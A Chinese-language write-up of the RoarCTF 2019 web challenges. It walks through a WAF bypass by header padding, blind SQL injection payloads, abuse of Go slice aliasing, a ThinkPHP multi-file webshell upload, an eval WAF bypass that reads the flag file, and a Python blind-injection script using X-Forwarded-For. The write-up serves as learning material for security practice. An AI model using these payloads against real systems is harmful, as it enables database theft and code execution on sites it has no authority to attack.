RoarCTF2019 Web WriteUp
RoarCTF Web WriteUp
Dist
打开题目,看到一个build.js泄露了sourceMap

访问build.js.map可以看到API地址和备份文件地址

下载备份文件,可以看到是一个go写的后台,nodejs写得前端。本地跑起来进行审计。
登录处明显有注入

但是题目有个用go写的基于TCP的waf,原理简单来说就是自写了一个TCP转发,并且不允许输入部分关键字。

func tcpWaf(server net.Conn, client net.Conn) bool {
defer func() {
recover()
}()
buf := make([]byte, 4*1024)
for {
nr, er := client.Read(buf)
dataS := bytes.Split(buf[:nr], []byte{13, 10, 13, 10})
// get the request body
// split by CRLFCRLF
data := bytes.Join(dataS[1:], []byte(""))
for _, word := range WAFWORD {
if strings.Contains(strings.ToLower(string(data)), word) {
client.Write([]byte("HTTP/1.1 200\r\nServer: iWAF/0.0.1\r\n\r\nintercepted\r\n\r\n"))
return false
}
}
if nr > 0 {
nw, ew := server.Write(buf[0:nr])
if ew != nil {
break
}
if nr != nw {
break
}
}
if er != nil {
break
}
}
return true
}
可以看到是循环读4096个数据,然后过滤掉\r\n\r\n
后进行字符串匹配,判断是否含有关键字。
其中有这行语句有问题:
data := bytes.Join(dataS[1:], []byte(""))
join连接时只会连接被\r\n\r\n
分割的第二块开始的内容,那么我们填充请求头使得第一块大于4096,第二块恰好没有\r\n\r\n
,切割时第二块就只会切割成一份,就不会检查了。
按照下面payload进行盲注'''{"uname":"jrxnm' or (select substr(secret,%s,1)from secret )='%s' and '1","pwd":"qwer1234"}'''
注入出secret,就可以伪造admin了。
这题做到这审了很久都没审出来,赛后师傅们告诉我这后面是今年Teaser CONFidence CTF 2019 "The Lottery" 几乎一模一样的套路,关于go语言 Slice 的特性。
go语言的Slice 用 make([]type, len, cap)进行初始化,它的len代表Slice长度,cap代表容量。当Slice append添加一个数据时,len加1,如果没有大于cap的话cap就不变化,如果大于cap就会动态扩容,如果Slice的容量小于1024个元素,那么扩容的时候slice的cap就翻番,乘以2。
当Slice 赋值时指向的是同一块地址,而如果Slice扩容了,它动态扩容的原理是新开辟一块更大的地址放置。
重点,这意味着,如果有一个切片a内容为[1,2,3],len=3,cap=4。此时令
b := append(a,1)
c := append(a,2)
此时的b, c内容会相等! 为什么呢,因为append的时候len+1没有大于cap就不会扩容,a的位置没变,b,c都是指向原来a的位置。那b,c现在的值是多少呢 [1,2,3,2] 。
当执行完b := append(a,1)时, b指向的仍为a,且的内容为[1,2,3,1],len=4,cap=4。此时a虽也指向[1,2,3,1]但是lem=3,所以值仍为[1,2,3]。当执行c := append(a,2)时,覆盖了a的第四个内容,改为了[1,2,3,2]且此时a,b,c都指向它。
go的内容说完了, 本题每个人只有最多6个容量大小的钱,6次得钱都是通过Beg每次随机从99以内获取
func (u *U) Beg() {
if len(u.balances) >= MAX_BALANCES {
return
}
b := rand.Intn(99)
u.balances = append(u.balances, uint64(b))
}
拿到flag的条件是,要么个人拥有的前总额大于999999,要么每次读博自己的钱加上uint64(0xFFFFFFF+rand.Intn(0xFFFFF))
等于0x1010010C
total = player.balances
fmt.Print(total)
total = append(total, uint64(0xFFFFFFF+rand.Intn(0xFFFFF)))
fmt.Print(total)
if sum(total) == 0x1010010C {
s.Winners[player.Uname] = struct{}{}
}
我们可以看到个人的balances就是切片结构,按照上面go的特性,当u beg3次后,u.balances为[xx,xx,xx]且len=3,cap=4。此时利用刚才注入的secret伪造admin账户将u加入player中,此时u再beg一次,u.balances内容而为[xx,xx,xx,xx],len=4,cap=4。再利用admin账户start gambling,player.balances 本来指向u.balance,len=3,cap=4,开始后再次append一个uint64(0xFFFFFFF+rand.Intn(0xFFFFF))覆盖了u.balances的第四个内容,变成了一个很大的数,此时满足个人balances大于999999可以拿到flag。
Easy Upload
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
拿出代码收集信息是thinkphp 3.2.4写的,这代码审计没发现什么问题,结合thinkphp 3.2.4上传模块发现问题。
关键代码:
可以看到,用户所写得代码使用时未指定files,默认为$_FILES
,这意味着,所有$_FILES
中的文件都会被上传。而代码只会过滤$_FILES['file']
中的文件。所以上传两个文件,一个name为file的正常图片,另一个name为其他的webshell。
最后会打印出$_FILES['file']
的文件地址,而不会打印我们shell的地址
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
简单审计,thinkphp3默认使用uniqid()函数根据时间生成文件名,两个文件上传时间相近可以爆破。
最后上传的php会被后台替换成flag
Easy calc
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
这上面的代码还是很好绕的,就是还有一个waf,对于所有地址的num参数只允许输入数字和部分符号。绕过这个waf的方法也很简单,把输入的参数改为num
即空格+num,waf不会过滤这个参数,但是php识别时这两个是一样的。
此时就比较好做了,只要绕过引号就行
calc.php? num=1;print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
easy_java
进题有个help可以下载文件,点击连接输入什么filename都显示文件不存在

原来是需要发送POST数据包,它才会处理这个GET参数(没错,发送POST包处理GET参数)
接下来就简单了,下载配置文件,找到flag相关类

按指定目录结构下载class,丢到工具反编译class就能拿到base64 flag

Online Proxy
拿到手一直以为是个ssrf绕过,绕过了很久都没啥想法。
看到了师傅们的Wp原来是注入Orz,而且和原来的url参数一点关系没有。在X-Forwarded-For处存在Insert Into注入,之后就是盲注了。
主要卡人点在fuzz过程,题目应该是用Cookie中的track_uuid标志每个人,而当本次的IP和上次的IP不同时才会把上次ip插入。
最后就是很常规的盲注。
import re
import requests
url = 'http://node3.buuoj.cn:28951'
pa = re.compile(r'Last Ip: (\d) -->')
for n in range(1,60):
for i in range(30,127):
c = False
while True:
try:
ip = '''1' and (ascii(substr((select group_concat(F4l9_c01umn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))={}))#'''.format(str(n),str(i))
header['X-Forwarded-For'] = ip
r = requests.get(url, headers=header, timeout=2)
header['X-Forwarded-For'] = 'hhhhh'
r = requests.get(url, headers=header, timeout=2)
r = requests.get(url, headers=header, timeout=2)
break
except:
traceback.print_exc()
continue
res = pa.findall(r.text)
if res:
if res[0] == '1':
c = True
s = s + chr(i)
print(s)
break
if not c:
break
print('flag:', s)